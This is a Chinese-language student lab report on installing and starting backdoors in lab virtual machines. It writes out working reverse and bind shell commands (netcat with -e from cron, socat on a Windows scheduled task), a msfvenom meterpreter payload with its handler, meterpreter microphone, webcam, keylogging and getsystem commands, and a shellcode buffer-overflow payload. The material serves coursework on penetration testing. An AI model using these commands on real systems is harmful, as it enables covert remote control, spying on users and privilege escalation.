一、实验内容及问题回答
1.1实验内容:
(1)使用netcat获取主机操作Shell,cron启动。
(2)使用socat获取主机操作Shell, 任务计划启动。
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2问题回答:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
一个典型例子:供应链攻击
下载被篡改的开源软件或开发工具,攻击者入侵软件官网或镜像站,在合法软件中植入后门,
用户正常安装软件时,后门被同步安装到系统中。
例如:Python库、Node.js模块、系统工具等被植入恶意代码
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Win:开机自启动项
本实验中的定时启动
对有BOF漏洞的程序注入shellcode
(3)Meterpreter有哪些给你映像深刻的功能?
-内存驻留(无文件攻击)
-权限提升能力
-灵活的通信信道
(4)如何发现自己有系统有没有被安装后门?
-安装主流杀毒软件定时检测系统安全
-查看是否有异常端口
二、常用后门基本操作
2.1Windows获得Linux Shell
1)主机与虚拟机ping通
2)输入 ncat.exe -l -p 4328 使用ncat.exe程序监听本机的4328端口
3)在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4328端口
4)成功获得Kali的shell,如下图所示
2.2Linux获得Windows Shell
1.使用nc指令监听4328端口
输入: nc -l -p 4328
2.在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4328端口
3.Linux下看到Windows的命令提示,可输入Windows命令
2.3使用nc指令传输数据
1.Windows系统输入ncat.exe -l 监听4328端口
2、Kali下连接到Windows的4328端口
3.建立连接之后,就可以传输数据了
2.4使用nc传输文件(Kali->Windows)
1.要从kali传给windows,先在kali创建一个文件file1
2.按‘i’进入编辑 模式,输入一些内容作为记录
输入:wq保存并退出
3.Windows下监听4328端口,并把收到的数据保存到file1.out
kali反弹连接到Windows的4328端口, nc 172.16.214.178 4328< file1.txt
连接建立成功,kali可以收到Windows发来的文件
三、实践过程
3.1使用netcat获取主机操作Shell,cron启动
1.在Windows系统下,监听4328端口
2. 在Kali环境下,用 crontab -e 指令编辑一条定时任务
crontab 指令增加一条定时任务,-e表示编辑,选择编辑器时选择3。
3. 在最后一行添加30* * * * /bin/netcat 192.168.184.134 4328 -e /bin/sh意思是,每个小时的第30分钟反向连接Windows主机的4328端口
4. 当时间到了某个小时的30分钟以及以后时,发现win7端此时已经获得了Kali的shell,可以输入指令
3.2使用socat获取主机操作Shell, 任务计划启动
预备知识:
socat是ncat的增强版,它使用的格式是socat [options]
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
2.创建任务-填写任务名称-并新建一个触发器,当工作站锁定时执行操作
3.在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写 tcp-listen:4328exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口4328,同时把cmd.exe的stderr重定向到stdout上
4.创建完成之后,锁定计算机让新的任务执行,此时,在Kali环境下输入指令socat tcp-listen:192.168.226.129:4328 tcp:172.16.214.178:4328
此时可以发现已经成功获得了一个cmd shell
3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.214.178 LPORT=4328 -f exe > 20232406_attackdoor.exe
P地址为控制端IP,即Linux的IP,其中-p 使用的payload,为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.LHOST是反弹回连的IP,即攻击机linux的IP地址,LPORT是回连的端口,-f是生成文件的类型, > 输出到哪个文件
2、通过 ncat.exe -lv 4328 > 20232406_attackdoor.exe 指令将被控制主机进入接受文件模式
3、 在Linux中执行 nc 172.16.214.178 4328 < 20232406_attackdoor.exe ,注意这里的IP为被控主机IP,即Windows的IP
4、 传送接收文件成功
5、 在Kali上使用 msfconsole 进入msf控制台
输入
use exploit/multi/handler//使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp//使用和生成后门程序时相同的payload
set LHOST 192.168.184.131//这里用的是LinuxIP,监听端的ip地址
set LPORT 4328//同样要使用相同的端口
6、设置完成后,输入指令
exploit
3.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1.使用 record_mic 指令可以截获目标主机的一段音频
2.使用 webcam_snap 指令可以使用摄像头进行拍照,但要先给win7虚拟机权限才行
3.开始读取键盘记录keyscan_start
读取键盘记录结束keyscan_dump
提权
4.查看当前用户getuid
输入提权指令getsystem
3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验一的第三部分里面,输入的32个“A”就是填充字符,90909090后面的代码就是一种shellcode,用来攻击的,在这次实验里面不同的是换了一种shellcode,但是功能更加强大,可以做到把shell通过端口发送出去,用MSF meterpreter接收后就能入侵靶机
1.首先把上次实验用的pwn1文件再下载下来,放在根目录就好
2.准备工作:
execstack -s pwn20232406 //设置堆栈可执行
execstack -q pwn20232406 //查询文件的堆栈是否可执行
X pwn20232406
echo "0" >/proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 0
3.输入payload
perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
再输入 (catinput_shellcode;cat) | ./pwn20232406 敲一次回车,换到第二个窗口查看这个任务进程号为69151
4.在这个进程号窗口输入gdb打开编译器,输入attach 69151
5.在编译调试界面用 disassemble foo 对foo函数进行反汇编,找到ret的地址位0x80484ae
然后在ret的地址位置设置断点,输入指令如下 break *0x080484ae
回到之前的终端按下回车,再到gdb所在终端进行调试
6.设置完断点回车结束这个指令,弹出新的一行“(gdb)”,然后不要动,在注入代码的窗口按一下回车,然后在右边调试界面输入c 代表continue继续运行
7.回到另一个终端,将返回地址修改后,再将修改后的代码重新注入
四、 实验总结与体会
在这次实验过程中,我对网络安全有了更深层次的理解。首先,通过使用netcat和socat获取远程主机的shell控制权,我了解到了这些工具在渗透测试中的应用价值。它们可以简单而有效地建立远程控制通道,这对于评估网络的安全性非常有用。同时,我也学习了如何利用cron和计划任务来定时执行任务,这不仅是在日常自动化运维中的重要技能,也是理解恶意软件如何在系统中潜伏的关键知识。
使用Metasploit生成带有reverse shell功能的可执行文件,然后通过netcat传送至目标主机运行,进一步强化了我对远程控制和后门概念的理解。Meterpreter的强大功能给我留下了深刻的印象。
此外,实验还涉及到了利用Meterpreter进行音频录制、屏幕截图、摄像头拍照以及键盘记录等功能,很有意思。
这次实验不仅加深了我对网络安全理论的认识,也提高了我在实践中的技能水平。我学到了如何使用各种工具和技术来进行渗透测试,并理解了在防御方面需要采取的措施。